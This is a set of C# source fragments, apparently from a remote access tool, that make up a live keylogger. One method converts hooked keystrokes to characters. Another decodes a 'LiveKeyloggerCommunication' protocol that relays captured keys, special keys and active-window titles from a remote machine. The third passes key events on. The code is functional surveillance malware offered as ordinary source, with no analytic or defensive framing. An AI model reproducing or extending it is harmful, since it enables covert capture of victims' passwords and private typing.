private void OnKeyActionFurtherProcessing2(uint vkcode, uint nScanCode, bool isDown, byte[] kbstate) { var result = ((Keys)vkcode).ToString(); // Another Fix beside the deadkeys workarround, needed because ToAscii doesnt work when STRG is pressed if (IsPrintableKey(vkcode) && !IsCtrlPressed()) { var szKey = new StringBuilder(2); var nConvOld = (uint)NativeMethods.ToAscii(vkcode, nScanCode, kbstate, szKey, 0); _deadKeyOver = false; if (nConvOld > 0 && szKey.Length > 0) { result = szKey.ToString().Substring(0, 1); } } if (isDown) { StringDown?.Invoke(result, new StringDownEventArgs(result.Length == 1, result, vkcode)); } else { StringUp?.Invoke(result, new StringDownEventArgs(result.Length == 1, result, vkcode)); } }
public override void ResponseReceived(byte[] parameter) { switch ((LiveKeyloggerCommunication)parameter[0]) { case LiveKeyloggerCommunication.StringDown: StringDown?.Invoke(this, Encoding.UTF8.GetString(parameter, 1, parameter.Length - 1)); break; case LiveKeyloggerCommunication.SpecialKeyDown: KeyDown?.Invoke(this, new Serializer(new[] { typeof(KeyLogEntry), typeof(SpecialKey), typeof(StandardKey) }) .Deserialize <KeyLogEntry>(parameter, 1)); break; case LiveKeyloggerCommunication.SpecialKeyUp: KeyUp?.Invoke(this, new Serializer(new[] { typeof(KeyLogEntry), typeof(SpecialKey), typeof(StandardKey) }) .Deserialize <KeyLogEntry>(parameter, 1)); break; case LiveKeyloggerCommunication.WindowChanged: WindowChanged?.Invoke(this, Encoding.UTF8.GetString(parameter, 1, parameter.Length - 1)); break; default: throw new ArgumentOutOfRangeException(); } }
private void _keyProcessing_StringDown(object sender, StringDownEventArgs e) { StringDown?.Invoke(this, e); }